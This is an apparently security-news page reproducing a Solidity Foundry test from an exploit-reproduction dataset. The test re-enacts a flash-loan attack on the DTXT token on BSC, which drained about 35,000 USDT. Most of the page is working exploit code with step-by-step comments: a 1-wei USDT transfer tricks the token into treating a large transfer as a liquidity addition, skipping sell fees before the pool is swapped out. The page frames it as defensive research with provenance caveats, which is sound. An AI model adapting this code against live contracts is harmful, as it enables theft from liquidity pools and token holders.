Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/DTXT_exp.sol

Public reproduction file for dataset entry DTXT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/DTXT_exp.sol165 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 35,041.11 USDT
8// Attacker : 0xd304ea1592f733e0a46436a01fe54bd504009526
9// Attack Contract : 0x3065bc8ed8bd53bdc3fd4633c3097c40726b5f5f
10// Vulnerable Contract : 0xac9bf7c320d4ce2d0ac978b83955dd67351897d2
11// Victim : 0x90bfc1dbc878ba54858ba8a635b3daebd2ac6c01
12// Attack Tx : https://bscscan.com/tx/0x07ba2ccf2b5c1aaca4c017af4fe87762a73ef7177f6ea8bb569367e908a0671d
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0xac9bf7c320d4ce2d0ac978b83955dd67351897d2#code
17// @Analysis
18// Twitter Guy : https://x.com/audit_911/status/2063793931138347015
19//
20// The attacker used a Moolah USDT flash loan and a pre-funded DTXT helper to add/remove DTXT/USDT
21// liquidity. A 1-wei USDT transfer then made DTXT misclassify a large transfer into the Pancake pair
22// as liquidity addition, bypassing sell fees before swapping DTXT for USDT.
24address constant ATTACKER = 0xd304ea1592f733e0A46436A01fe54bD504009526;
25address constant HISTORICAL_DTXT_HELPER = 0xd2453Ff82E1C5b568dDB260f1f0bb95169895428;
26address constant MOOLAH_FLASH_LOAN = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
27address constant DTXT_TOKEN = 0xAc9Bf7C320d4cE2D0ac978B83955Dd67351897D2;
28address constant DTXT_USDT_PAIR = 0x90BfC1dBc878bA54858bA8A635B3DAebd2aC6c01;
29address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);
30address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
32interface IMoolahFlashLoan {
33 function flashLoan(
34 address token,
35 uint256 assets,
36 bytes calldata data
37 ) external;
40contract ContractTest is BaseTestWithBalanceLog {
41 function setUp() public {
42 uint256 forkBlock = 102_432_239;
43 vm.createSelectFork("bsc", forkBlock);
44 fundingToken = USDT_TOKEN;
46 vm.label(ATTACKER, "Attacker EOA");
47 vm.label(HISTORICAL_DTXT_HELPER, "Historical DTXT seed helper");
48 vm.label(MOOLAH_FLASH_LOAN, "Moolah flash loan proxy");
49 vm.label(DTXT_TOKEN, "DTXT token");
50 vm.label(DTXT_USDT_PAIR, "DTXT/USDT Pancake pair");
51 vm.label(PANCAKE_ROUTER, "Pancake router");
52 vm.label(USDT_TOKEN, "USDT");
53 }
55 function testExploit() public balanceLog2(ATTACKER) {
56 DTXTSeedHelper helper = new DTXTSeedHelper();
57 uint256 seedDtxt = IERC20(DTXT_TOKEN).balanceOf(HISTORICAL_DTXT_HELPER);
58 deal(DTXT_TOKEN, address(helper), seedDtxt);
59 vm.label(address(helper), "Local DTXT seed helper");
61 DTXTExploit exploit = new DTXTExploit(address(helper), ATTACKER);
62 vm.label(address(exploit), "Local attack contract");
64 uint256 attackerBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);
65 vm.prank(ATTACKER);
66 exploit.execute();
68 uint256 profit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBefore;
69 logTokenBalance(USDT_TOKEN, ATTACKER, "Attacker Final");
70 assertGt(profit, 35_000 ether, "USDT profit");
71 }
74contract DTXTSeedHelper {
75 constructor() {
76 IERC20(USDT_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);
77 IERC20(DTXT_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);
78 }
80 function addLiquidityAndReturnRemainder(
81 uint256 seedDtxt,
82 uint256 usdtRetained
83 ) external {
84 uint256 dtxtForLiquidity = seedDtxt / 2;
85 uint256 usdtForLiquidity = IERC20(USDT_TOKEN).balanceOf(msg.sender) - usdtRetained;
87 IERC20(USDT_TOKEN).transferFrom(msg.sender, address(this), usdtForLiquidity);
88 IPancakeRouter(PANCAKE_ROUTER)
89 .addLiquidity(USDT_TOKEN, DTXT_TOKEN, usdtForLiquidity, dtxtForLiquidity, 0, 0, msg.sender, block.timestamp);
91 IERC20(DTXT_TOKEN).transfer(msg.sender, dtxtForLiquidity);
92 }
95contract DTXTExploit {
96 DTXTSeedHelper private immutable helper;
97 address private immutable profitReceiver;
98 uint256 private expectedFlashAmount;
100 constructor(
101 address helper_,
102 address profitReceiver_
103 ) {
104 helper = DTXTSeedHelper(helper_);
105 profitReceiver = profitReceiver_;
106 }
108 function execute() external {
109 require(msg.sender == profitReceiver, "only receiver");
111 // step 1: derive the Moolah flash loan from the helper's DTXT seed and current pair reserves.
112 uint256 seedDtxt = IERC20(DTXT_TOKEN).balanceOf(address(helper));
113 uint256 flashAmount = _flashAmountForSeed(seedDtxt);
114 expectedFlashAmount = flashAmount;
115 IMoolahFlashLoan(MOOLAH_FLASH_LOAN).flashLoan(USDT_TOKEN, flashAmount, abi.encode(seedDtxt));
117 // step 6: after Moolah pulls repayment, forward remaining USDT profit to the attacker EOA.
118 uint256 profit = IERC20(USDT_TOKEN).balanceOf(address(this));
119 IERC20(USDT_TOKEN).transfer(profitReceiver, profit);
120 }
122 function onMoolahFlashLoan(
123 uint256 assets,
124 bytes calldata data
125 ) external {
126 require(msg.sender == MOOLAH_FLASH_LOAN, "not Moolah");
127 require(assets == expectedFlashAmount, "unexpected loan");
129 uint256 seedDtxt = abi.decode(data, (uint256));
131 // step 2: add USDT plus half of the helper's DTXT to the pair, then return the helper remainder.
132 IERC20(USDT_TOKEN).approve(address(helper), type(uint256).max);
133 helper.addLiquidityAndReturnRemainder(seedDtxt, 1 ether);
135 // step 3: remove the minted LP, keeping the DTXT received through DTXT's delete-liquidity branch.
136 uint256 lpBalance = IERC20(DTXT_USDT_PAIR).balanceOf(address(this));
137 IERC20(DTXT_USDT_PAIR).approve(PANCAKE_ROUTER, type(uint256).max);
138 IPancakeRouter(PANCAKE_ROUTER)
139 .removeLiquidity(USDT_TOKEN, DTXT_TOKEN, lpBalance, 0, 0, address(this), block.timestamp + 60);
141 // step 4: skew the token0 balance by 1 wei so DTXT treats the next pair transfer as add-liquidity.
142 IERC20(USDT_TOKEN).transfer(DTXT_USDT_PAIR, 1);
143 IERC20(DTXT_TOKEN).transfer(DTXT_USDT_PAIR, IERC20(DTXT_TOKEN).balanceOf(address(this)));
145 // step 5: swap out USDT against stale reserves using the DTXT balance actually received by the pair.
146 (uint112 reserve0, uint112 reserve1,) = IPancakePair(DTXT_USDT_PAIR).getReserves();
147 uint256 dtxtIn = IERC20(DTXT_TOKEN).balanceOf(DTXT_USDT_PAIR) - uint256(reserve1);
148 uint256 usdtOut = IPancakeRouter(PANCAKE_ROUTER).getAmountOut(dtxtIn, uint256(reserve1), uint256(reserve0));
149 IPancakePair(DTXT_USDT_PAIR).swap(usdtOut, 0, address(this), "");
151 IERC20(USDT_TOKEN).approve(MOOLAH_FLASH_LOAN, assets);
152 }
154 function _flashAmountForSeed(
155 uint256 seedDtxt
156 ) private view returns (uint256) {
157 (uint112 reserve0, uint112 reserve1,) = IPancakePair(DTXT_USDT_PAIR).getReserves();
158 require(IPancakePair(DTXT_USDT_PAIR).token0() == USDT_TOKEN, "unexpected token0");
159 require(IPancakePair(DTXT_USDT_PAIR).token1() == DTXT_TOKEN, "unexpected token1");
161 uint256 dtxtForLiquidity = seedDtxt / 2;
162 uint256 usdtForLiquidity = (dtxtForLiquidity * uint256(reserve0)) / uint256(reserve1);
163 return usdtForLiquidity + 1 ether;
164 }

Analysis

Dataset entry

Public Foundry test for “DTXT” (2026-06-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd304ea1592f733e0a46436a01fe54bd504009526

  • Attack Contract

    0x3065bc8ed8bd53bdc3fd4633c3097c40726b5f5f

  • Vulnerable Contract

    0xac9bf7c320d4ce2d0ac978b83955dd67351897d2

  • Victim

    0x90bfc1dbc878ba54858ba8a635b3daebd2ac6c01

  • Attack Tx

    0x07ba2ccf2b5c1aaca4c017af4fe87762a73ef7177f6ea8bb569367e908a0671d

File record

Name
DTXT
Path
src/test/2026-06/DTXT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
89ab18a7f0931e385cb3cfbc7c65ea2026b0a8ea
Language
Solidity
Size
166 lines
Date
2026-06-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/DTXT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 89ab18a7f0931e385cb3cfbc7c65ea2026b0a8ea, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.